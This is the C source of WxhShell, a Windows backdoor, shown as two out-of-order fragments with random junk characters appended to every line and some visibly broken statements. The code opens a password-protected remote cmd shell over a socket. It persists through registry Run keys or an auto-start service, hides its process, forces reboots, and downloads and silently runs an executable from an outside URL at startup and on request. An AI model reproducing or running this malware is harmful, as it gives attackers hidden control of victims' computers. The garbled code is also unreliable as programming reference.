    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a pa&'%7  
    else { :Pdh##k  
    closesocket(wsh); I8J>>H'#A  
    ExitThread(0); H;nzo3x  
    } Zwc&4:5%  
    break; ?;W"=I*3  
    } o[!o+M  
  // 获取shell .-rz30xT  
  case 's': { \T_ZcV  
    CmdShell(wsh); f~mwDkf?L  
    closesocket(wsh); 6P _+:Mf  
    ExitThread(0); F-|DZ?)k5  
    break; u9S*2'  
  } % E1r{`p  
  // 退出 Ly2,*\7  
  case 'x': { Y0,{fw<  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1sj7]G]`k  
    CloseIt(wsh); *b) (-#w3  
    break; l.pxDMY  
    } ~wW]ntZm  
  // 离开 2Cp4aTGv#  
  case 'q': { 3pWav 1"  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); L.@$rFhA  
    closesocket(wsh); | 9S8sfw  
    WSACleanup(); <h/q^|tZ{  
    exit(1); M{24MF   
    break; g.9C>>tj  
        } _ $>);qIP4  
  } aF?_V!#cT  
  } vf3)T;X>  
geyCS3 :p  
  // 提示信息 G)< B7-72;  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )4uWB2ZRoi  
} A2ye ^<-C.  
  } BGibBF^  
H I|a88   
  return; a8T9=KY^  
} cOP'ql{"  
e#HPU  
// shell模块句柄 =A6*;T"W  
int CmdShell(SOCKET sock) kQ\ $0=6N9  
{ q$" u<  
STARTUPINFO si;  ?pEPwc  
ZeroMemory(&si,sizeof(si)); _oc6=Z  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; q&@s/k  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; SzpUCr"  
PROCESS_INFORMATION ProcessInfo; &{8:XJe*,%  
char cmdline[]="cmd"; a%`Yz"<lQ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^x O](,H  
  return 0; rwj+N%N  
} >WLX5i&  
NHyUHFY  
// 自身启动模式  }cMkh  
int StartFromService(void) h<&GdK2U+  
{ J(#6Cld`c  
typedef struct =a,qRO  
{ G$Mf(S'f  
  DWORD ExitStatus; (k!7`<k!Y  
  DWORD PebBaseAddress; Jt]RU+TB  
  DWORD AffinityMask; )KFxtM-  
  DWORD BasePriority; t jThQ  
  ULONG UniqueProcessId; V6dq8Z"h  
  ULONG InheritedFromUniqueProcessId; Fj<*!J$,  
}   PROCESS_BASIC_INFORMATION; l3b=8yn.  
h!SsIy(  
PROCNTQSIP NtQueryInformationProcess; u $-&Im<  
B;[ .u>f  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ldTXW(^j  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _0Ea 3K  
O)&W0` VY  
  HANDLE             hProcess; AAa7)^R  
  PROCESS_BASIC_INFORMATION pbi; vcQl0+&  
y_L8i[  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); yrEh5v:  
  if(NULL == hInst ) return 0; =A,B'n\R  
QD%xmP  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 26aDPTP$<  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); YNV, dKB  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &'^.>TJ\  
)@DDs(q=i  
  if (!NtQueryInformationProcess) return 0; =!SV;^-q  
1]''@oh{6U  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Ld.9.d]  
  if(!hProcess) return 0; nQV0I"f]?]  
$#f_p-N  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1#3|PA#>  
wyX3qH  
  CloseHandle(hProcess); w3q'n%  
mTu>S  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9+9g(6  
if(hProcess==NULL) return 0; yOz6a :r  
' 8)kFR^9  
HMODULE hMod; 8'@5X-nD  
char procName[255]; 15J"iN2"W  
unsigned long cbNeeded; Y910\h@V  
yH" i5L9  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Szt2 "AR  
$$ *tK8#  
  CloseHandle(hProcess); u_NLgM7*  
&=)O:Jfa  
if(strstr(procName,"services")) return 1; // 以服务启动 q n-f&R  
e bp t/q[  
  return 0; // 注册表启动 oQ -m  
} "[7-1}l  
mmJnE  
// 主模块 %2dzx[s  
int StartWxhshell(LPSTR lpCmdLine) u3qx G3  
{ ;8PO}{rD  
  SOCKET wsl; giu{,gS0?M  
BOOL val=TRUE; E`_T_O=P  
  int port=0; B /uaRi%  
  struct sockaddr_in door; %C`P7&8m=O  
N,lr~ 6)  
  if(wscfg.ws_autoins) Install(); F<{,W-my `  
Az y`4  
port=atoi(lpCmdLine); .g}N@  
BNJ0D  
if(port<=0) port=wscfg.ws_port; Z:^#9D{  
(rhlK} C  
  WSADATA data; + Fo^NT  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; BAXu\a-C_  
V5$ Gb6?K  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Y _`JS;  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); z4_B/Q  
  door.sin_family = AF_INET; 36{OE!,i  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;SI (5rS?  
  door.sin_port = htons(port); Kw"e4 a  
N9|J\;fzT  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { V~*>/2+  
closesocket(wsl); n*$g1HG6  
return 1; )B $Q  
} #z>I =gl  
g]Y%c73  
  if(listen(wsl,2) == INVALID_SOCKET) { tf7HhOCYX  
closesocket(wsl); [ x+ -N7  
return 1; ox`Zs2-a  
} -){6ynqv  
  Wxhshell(wsl); .gfi9J  
  WSACleanup(); !%M,x~H  
6M&ajl`o  
return 0; A z@@0  
?XdvZf $  
} L&s~j/ pR  
;UgwV/d  
// 以NT服务方式启动 a]fFR~ OY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 2?%4|@*H?  
{ 'lE{Nj*7  
DWORD   status = 0; J'|[-D-a  
  DWORD   specificError = 0xfffffff; ;"IWm<]h;-  
Hy :x.'i  
  serviceStatus.dwServiceType     = SERVICE_WIN32; > "rM\ Q  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Bj4c_YBte  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; N KgEs   
  serviceStatus.dwWin32ExitCode     = 0; 3<<wHK;)  
  serviceStatus.dwServiceSpecificExitCode = 0; yNfj-wM  
  serviceStatus.dwCheckPoint       = 0; wN'S+4  
  serviceStatus.dwWaitHint       = 0; VtzZ1/J E  
PTe$dPB  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (BtU\f#d  
  if (hServiceStatusHandle==0) return; -w2^26 ax  
^k % +ao  
status = GetLastError();  ,d/$!Yf  
  if (status!=NO_ERROR) [dLc+h1{B  
{ !QAndg{;D  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED;  U%r{{Q1  
    serviceStatus.dwCheckPoint       = 0; i#YDdz  
    serviceStatus.dwWaitHint       = 0; B/3~[ '  
    serviceStatus.dwWin32ExitCode     = status; pW8?EGO@  
    serviceStatus.dwServiceSpecificExitCode = specificError; SE(<(w  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); i| cA)  
    return; %LC)sSq{H  
  } U7fpaxc-  
?z M   
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Z\C"/j<y  
  serviceStatus.dwCheckPoint       = 0; zx "EAF{  
  serviceStatus.dwWaitHint       = 0; Bi fI.2|  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); D_<B^3w )  
} m8L %!6o  
\4$Nx/@Q}  
// 处理NT服务事件,比如:启动、停止 ?~.9: 93  
VOID WINAPI NTServiceHandler(DWORD fdwControl) E l.eK9L  
{ dk]  
switch(fdwControl) B> i^w1  
{ N%:uOX8{  
case SERVICE_CONTROL_STOP: 7.NL>:lu  
  serviceStatus.dwWin32ExitCode = 0; JYjc^m  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Kg2@]J9m  
  serviceStatus.dwCheckPoint   = 0; Vt zSM%=  
  serviceStatus.dwWaitHint     = 0; %O%;\t  
  { n3J,`1*ct  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); lbIW1z%:sy  
  } {DvWa|  
  return; :.H@tBi*E  
case SERVICE_CONTROL_PAUSE: YVRE 9  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; _`QMEr?  
  break; ~qb?#IY]`  
case SERVICE_CONTROL_CONTINUE: D.AiqO<z  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; wMF1HT<*  
  break; 2\$<&]q  
case SERVICE_CONTROL_INTERROGATE: }1CO>a<  
  break; hHw1<! M  
}; ;/m>c{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Jnt r"a-4  
} Vx0Hq`_14  
-$s1k~o  
// 标准应用程序主函数 L}8 }Pns?&  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) #9"lL1  
{ b N>Ar  
/mE:2K]C  
// 获取操作系统版本 c?xeBC1-  
OsIsNt=GetOsVer(); vA*NJ%&`  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ZQz;EV!  
{XhpxJ__  
  // 从命令行安装 )}w-;HX  
  if(strpbrk(lpCmdLine,"iI")) Install(); 2s 9U&  
'uUa|J1mu  
  // 下载执行文件 Jz;`L3m  
if(wscfg.ws_downexe) { z SsogAx  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) *qMjoP,  
  WinExec(wscfg.ws_filenam,SW_HIDE); k3OnvnJb  
} >>J!|  
OB,T>o@  
if(!OsIsNt) { AsZyPybq  
// 如果时win9x,隐藏进程并且设置为注册表启动 a3Z()|t>  
HideProc(); _["97>q  
StartWxhshell(lpCmdLine); Vyx&MU.-J  
} jq/{|<0  
else &xlOsr/n  
  if(StartFromService()) f}FJR6VO  
  // 以服务方式启动 R<h0RKiM@  
  StartServiceCtrlDispatcher(DispatchTable); OK}8BY  
else gJOswN;([  
  // 普通方式启动 U8g?   
  StartWxhshell(lpCmdLine); q|D*H9[ke  
p-g@c wOu  
return 0; \BsvUGd  
} |("5 :m  
hW c M.  
NX+ eig</-  
;rF:$37^  
=========================================== gY=+G6;=<  
6d 8n1_  
N) z] F9Kg  
 93 `  
QPF[D7\  
|4Q><6"G  
" ',RR*{I  
8J9o$Se  
#include <stdio.h> yFP#z5G  
#include <string.h> .Qj`_q6=  
#include <windows.h> P#Ikj& l   
#include <winsock2.h> s3T 6"%S`  
#include <winsvc.h> \@n/L{}(@  
#include <urlmon.h> |@)ij c4i  
bL7mlh  
#pragma comment (lib, "Ws2_32.lib") !C0= h  
#pragma comment (lib, "urlmon.lib") b}q,cm  
]zK} X!  
#define MAX_USER   100 // 最大客户端连接数 aR;Q^YJ+a  
#define BUF_SOCK   200 // sock buffer ?at~il$z'  
#define KEY_BUFF   255 // 输入 buffer PsD]gN5"  
sAc)X!}  
#define REBOOT     0   // 重启 0P53dF  
#define SHUTDOWN   1   // 关机 BQ&h&57K  
/L[:C=u  
#define DEF_PORT   5000 // 监听端口 }`^<ZNkb/  
4]8PF  
#define REG_LEN     16   // 注册表键长度 z#*GPA8Em:  
#define SVC_LEN     80   // NT服务名长度 kQBVx8Uq]  
<~8W>Y\m  
// 从dll定义API tv|=`~Y  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )ZmE"  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); +V\NMW4d  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )'<zC  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); bm7$DKp#  
r*3XM{bZ/@  
// wxhshell配置信息 'XQv>J  
struct WSCFG { A><%"9pZ  
  int ws_port;         // 监听端口 +Q_Gm3^  
  char ws_passstr[REG_LEN]; // 口令  L_Ai/'  
  int ws_autoins;       // 安装标记, 1=yes 0=no Ri-wbYFaP  
  char ws_regname[REG_LEN]; // 注册表键名 $S cjEG:6  
  char ws_svcname[REG_LEN]; // 服务名 d ly 08 74  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 &k{@:z  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 AU$5"kBE  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 %I=J8$B]f  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Y2D) $  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (}qLxZ/U  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 V[#lFl).  
@',;/j80  
}; 02S(9^=  
2Uk8{d  
// default Wxhshell configuration <*5D0q#~"  
struct WSCFG wscfg={DEF_PORT, 3 \WdA$Wx  
    "xuhuanlingzhe", >) :d38M  
    1, Zd%\x[f9ck  
    "Wxhshell", n<$I,IRE  
    "Wxhshell", nMbV{h ,  
            "WxhShell Service", #5I "M WA  
    "Wrsky Windows CmdShell Service", t[ MRyi)LF  
    "Please Input Your Password: ", 2I4P":q  
  1, 1-[{4{R  
  "http://www.wrsky.com/wxhshell.exe", (jyJ-qe  
  "Wxhshell.exe" MR6vr.~  
    };  JuI,wA  
?8nG F%p  
// 消息定义模块 Zj^H3 h  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; tE>:kx0*3  
char *msg_ws_prompt="\n\r? for help\n\r#>"; J8D-a!  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; QBo^{],  
char *msg_ws_ext="\n\rExit."; tr}$82Po  
char *msg_ws_end="\n\rQuit."; wLbns qa  
char *msg_ws_boot="\n\rReboot..."; Y{'G2)e  
char *msg_ws_poff="\n\rShutdown..."; Stw6%T-  
char *msg_ws_down="\n\rSave to "; y|mR'{$I  
Q& \k"X1  
char *msg_ws_err="\n\rErr!"; v>P){VT  
char *msg_ws_ok="\n\rOK!"; ?d%}K76V<  
ixkg,  
char ExeFile[MAX_PATH]; 0nd<6S+fs  
int nUser = 0; MLb\:Ihy  
HANDLE handles[MAX_USER]; G j:|  
int OsIsNt; u@3w$"Pv1  
ZtT`_G&  
SERVICE_STATUS       serviceStatus; @'y"D  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; $7*Ml)H!9  
vtT:c.~d  
// 函数声明 & Gt9a-ne  
int Install(void); *\>2DUu\`  
int Uninstall(void); , $=V  
int DownloadFile(char *sURL, SOCKET wsh); g<-cHF  
int Boot(int flag); }A;Xd/,'r  
void HideProc(void); 33 4*nQ  
int GetOsVer(void); wDG4rN9x  
int Wxhshell(SOCKET wsl); KKzvoc?Bt  
void TalkWithClient(void *cs); 'huLv(Uu  
int CmdShell(SOCKET sock); RPWYm  
int StartFromService(void); ro{MD s  
int StartWxhshell(LPSTR lpCmdLine);  x1et,&,  
v]!7=>/2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); J5"*OH:f  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); *$1)&2i  
5%$#3LT|  
// 数据结构和表定义 -d~'tti  
SERVICE_TABLE_ENTRY DispatchTable[] = 5*r6#[S\  
{ ~eP 2PG  
{wscfg.ws_svcname, NTServiceMain}, ;D7jE+  
{NULL, NULL} A!~o?ej  
}; ^pP 14y*go  
gs3}rW  
// 自我安装 A.FI] K@  
int Install(void) o5R\7}]GE  
{ 6M9rC[h\  
  char svExeFile[MAX_PATH]; H6eGLg={  
  HKEY key; #Grm-W9E  
  strcpy(svExeFile,ExeFile);  ]gW J,  
S7vE[VF5  
// 如果是win9x系统,修改注册表设为自启动 one>vi`=  
if(!OsIsNt) { GwULtRa/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -iHhpD9"X  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); T_-MSXhA  
  RegCloseKey(key); KPhqD5, (  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *GhRU5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); BTyVfq sx  
  RegCloseKey(key); `<n:D`{dZ  
  return 0; `dZ|}4[1  
    } DPOPRi~  
  } Ah`dt8t  
} 4@I]PG  
else { EUkNh>U?  
=)8Ct  
// 如果是NT以上系统,安装为系统服务 68*{Lo?U  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); |*5nr5c_L  
if (schSCManager!=0) qu%s 7+  
{ 'Ap 5Aq  
  SC_HANDLE schService = CreateService \YS?}! 0  
  ( nz\fN?q  
  schSCManager, De_</1Au!2  
  wscfg.ws_svcname, P$Q&xN<#)  
  wscfg.ws_svcdisp, ~aG-^BAS  
  SERVICE_ALL_ACCESS, (Nahtx!/9  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , jHCKV  
  SERVICE_AUTO_START,  |_ *$+  
  SERVICE_ERROR_NORMAL, Kc0OLcu^d  
  svExeFile, vp@+wh]#  
  NULL, =*Xf(mhc  
  NULL, M jTKM;  
  NULL, Hi9z<l=$  
  NULL, 9_3M}|V$^e  
  NULL &?6w 2[}  
  ); \tx/!tA  
  if (schService!=0) }nl)*l  
  { rYQ@"o0/Y  
  CloseServiceHandle(schService); CdO-xL6F  
  CloseServiceHandle(schSCManager); $NH Wg(/R@  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); pt#[.n#f  
  strcat(svExeFile,wscfg.ws_svcname); |5Pbc&mH8A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { kVv <tw  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); o=QF>\ \  
  RegCloseKey(key); *lAdS]I  
  return 0; <*(R+to^d  
    } @ `D6F;R  
  } s_!Z+D$K  
  CloseServiceHandle(schSCManager); ~x:] ch|  
} -; $/<  
} =1 \wZuK#  
.<%M8rcj  
return 1; ud D[hPJd  
} H@' @xHv  
;[ueNP%*y|  
// 自我卸载 I/jr` 3Mj  
int Uninstall(void) XD}_9p  
{ eB*8)gYh  
  HKEY key; ;r"B?]JO  
em}Qv3*#  
if(!OsIsNt) { 1,'^BgI,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { c&-$?f r  
  RegDeleteValue(key,wscfg.ws_regname); {2r7:nvR  
  RegCloseKey(key); P*Sip?tdE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z_@zMLs  
  RegDeleteValue(key,wscfg.ws_regname); FaE orQ  
  RegCloseKey(key); g"S+V#R  
  return 0; d A{Jk  
  } |"w<CK lQ  
} J94YMyOo  
} d|RmU/)  
else { >:&p(eu)L0  
0K0=Ob^(e  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); l0if#?4\r  
if (schSCManager!=0) r$Y!Y#hwQ  
{ Ky$G$H  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); d/rz0L  
  if (schService!=0) LW5ggU/  
  { $]JIA|  
  if(DeleteService(schService)!=0) { Eo&qc 17)`  
  CloseServiceHandle(schService); ,D,f9  
  CloseServiceHandle(schSCManager); y|{?>3  
  return 0; \'Kj.EO{?$  
  } $#3<rcOq  
  CloseServiceHandle(schService); z|)1l`  
  } [Od9,XBa  
  CloseServiceHandle(schSCManager); .fY<"2g  
} l>Ja[`X@  
} >0#q!H,X  
arVf"3a  
return 1; JBAK*g  
} XYF~Q9~  
hp V /F  
// 从指定url下载文件 }A/&]1GWk  
int DownloadFile(char *sURL, SOCKET wsh) 6F/ OlK<  
{ 5XO'OSdYq  
  HRESULT hr; eAKQR  
char seps[]= "/"; !&p:=}s  
char *token; U] -@yx  
char *file; f ?zK "  
char myURL[MAX_PATH]; ]Wt6V^M'@  
char myFILE[MAX_PATH]; )wv[!cYyW  
.t[ZXrd| 0  
strcpy(myURL,sURL); .+L_!A  
  token=strtok(myURL,seps); l!V| T?  
  while(token!=NULL) 0lr4d Y  
  { i}F;fWZ`  
    file=token; )h_ 7 2  
  token=strtok(NULL,seps); !nBm}E7d  
  } ikG9l&n  
4eL54).1O  
GetCurrentDirectory(MAX_PATH,myFILE); ,h.Jfo54,  
strcat(myFILE, "\\"); 8!Mzr1:  
strcat(myFILE, file); ,xe@G)a  
  send(wsh,myFILE,strlen(myFILE),0); %aE7id>v6  
send(wsh,"...",3,0); ieRBD6_  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ;}jbdS3  
  if(hr==S_OK) tSc>@Q_|  
return 0; r9a!,^}F  
else &t|V:_?/x  
return 1; AYu'ptDNr  
G^@Jgx3n  
} ?WtG|w  
 zn;Hs]G  
// 系统电源模块 $o$Ev@mi  
int Boot(int flag) jsi#l  
{ c$<O0dI  
  HANDLE hToken; 7  cP[o+  
  TOKEN_PRIVILEGES tkp; vJAAAS  
G[<[#$(  
  if(OsIsNt) { Sb9=$0%\  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); f(s3TLM  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); K-k.=6mS  
    tkp.PrivilegeCount = 1; ],}afa!A  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; wt=>{JM  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); E(3+o\w  
if(flag==REBOOT) { &G|jzXE  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) YEPG[W<kg  
  return 0; 5OW8G][  
} b|8>eY  
else { ,#jhKnk2e  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) +9 p`D  
  return 0; 2|H91Y2  
} 9eN2)a/  
  } VO;UV$$  
  else { X)iWb(@k"7  
if(flag==REBOOT) { B 6'%J  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) &Bz7fKCo  
  return 0; V_A,d8=lt  
} 7}tZ?vD  
else { t6g)3F7T  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) w H_n$w  
  return 0; ]1|Ql*6y,  
} nL(%&z \4  
} +b,31  
xAd>",=~  
return 1; s3_e7D ^H  
} Vkvb=  
: Nj`_2  
// win9x进程隐藏模块 h;ol"  
void HideProc(void) *v nxP9<  
{ Rp`_Grcd  
+`s&i%{1>  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); h6T/0YhWLP  
  if ( hKernel != NULL ) [' OCw {<  
  { 1S[5#ewB;j  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^'u;e(AaE  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); t3#H@0<  
    FreeLibrary(hKernel); F2PLy q  
  } tC@zM.v%  
mQ ^ @ \s  
return; o&XMgY~  
} w^'?4M!  
.xLF}{u  
// 获取操作系统版本 C=dx4U~   
int GetOsVer(void) *n*N|6 +  
{ PZ!dn%4jy  
  OSVERSIONINFO winfo; yhtvr5z1  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); bhqq  
  GetVersionEx(&winfo); ~ S?-{X+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) h\u0{!@}  
  return 1; qzH qj;  
  else .KU SNrs'  
  return 0; n:bB$Ai2  
} [6_Du6\h  
-Nlf~X  
// 客户端句柄模块 Dd5xXs+c  
int Wxhshell(SOCKET wsl) }rY?=I  
{ }$0xt'q&  
  SOCKET wsh; QLB1:O>  
  struct sockaddr_in client; g<rKV+$6  
  DWORD myID; RFn0P)9&  
SA(UD   
  while(nUser<MAX_USER) Vh#Mp!  
{ t;LX48 TQ  
  int nSize=sizeof(client); ,na=~.0R:  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); N,/BudF o  
  if(wsh==INVALID_SOCKET) return 1; Ff Yd+]+?  
E&];>3C  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); s=nVoc{Yt  
if(handles[nUser]==0) ,h@R' f !  
  closesocket(wsh); gP %|:"  
else znQ'm^h  
  nUser++; ~ gfA](N  
  } o/dMm:TF  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); W) 33;E/}  
K{ zCp6  
  return 0; 2GiUPtO&Gj  
} FM9X}%5nu9  
;Y@!:p- H  
// 关闭 socket >St. &#c  
void CloseIt(SOCKET wsh) f E.L  
{ s,$Z ("B  
closesocket(wsh); WG8iTVwx  
nUser--; y7M:b Uh  
ExitThread(0); ?y>Y$-v/C  
} @3 -,=x  
a)_rka1(  
// 客户端请求句柄 uEScAeQXsI  
void TalkWithClient(void *cs) 'n l RY5@2  
{ 7>'uj7r]=  
e' U"`)S  
  SOCKET wsh=(SOCKET)cs; "xDx/d8B  
  char pwd[SVC_LEN]; $>'")7z  
  char cmd[KEY_BUFF]; 2<[ eD`u  
char chr[1]; SLJ&{`"7  
int i,j; 9@#h}E1$  
QM[A;WBr7  
  while (nUser < MAX_USER) { 3C rQBIj1  
d1~_?V'r]  
if(wscfg.ws_passstr) { "w*+v  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <2)s<S.;  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); E7X!cm/2<  
  //ZeroMemory(pwd,KEY_BUFF); m/YH^N0  
      i=0; >:F,-cx<  
  while(i<SVC_LEN) { VG<Hw{ c3r  
@cuD8<\i  
  // 设置超时 Ka]J^w;a  
  fd_set FdRead; $5TepH0D  
  struct timeval TimeOut; 9TVB<}0G  
  FD_ZERO(&FdRead); SUH mBo"}  
  FD_SET(wsh,&FdRead); o~v_PD[S  
  TimeOut.tv_sec=8; :W.jNV{e\F  
  TimeOut.tv_usec=0; 0T9@,scY  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); [F/^J|VMV  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;dqk@@O"(  
JQ) 4}t  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JkSdLj  
  pwd=chr[0]; yaH Trh%  
  if(chr[0]==0xd || chr[0]==0xa) { -ajM5S=d*  
  pwd=0; IPl@ DH  
  break;  SwdC,  
  } I#|ocz  
  i++; .q0218l:dF  
    } .O5LI35,  
r-RCe3%g%  
  // 如果是非法用户,关闭 socket w=f0*$ue+w  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |Z`M*.d+  
} @gt)P4yE  
\8;Qv  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); V19e>  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I86e&"40  
'oz hz2s  
while(1) { ''#p47$8<d  
?mH@`c,fM  
  ZeroMemory(cmd,KEY_BUFF); ],;D2]<s  
p+, 1Fi  
      // 自动支持客户端 telnet标准   cQ8dc+ {  
  j=0; UI!6aVL.  
  while(j<KEY_BUFF) { _Ry_K3K  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %&^Q(f  
  cmd[j]=chr[0]; R<f#r03@|  
  if(chr[0]==0xa || chr[0]==0xd) { 1&"-*)  
  cmd[j]=0; %ZujCZn  
  break; _9D|u<D  
  } #|qm!aGs  
  j++; z^4KU\/JK  
    } ETU-]R3  
z>4 D~HX  
  // 下载文件 +"]oc{W!  
  if(strstr(cmd,"http://")) { Zxg1M  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); `kv1@aQPL  
  if(DownloadFile(cmd,wsh)) eY J{LPo  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); _h0-  
  else c{1V.  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H76E+AY  
  } g[/^cJHQ  
  else { O$a#2p&  
}l~]b3@qu  
    switch(cmd[0]) { %$Aqbd  
  t,RyeS/  
  // 帮助 sz'p3  
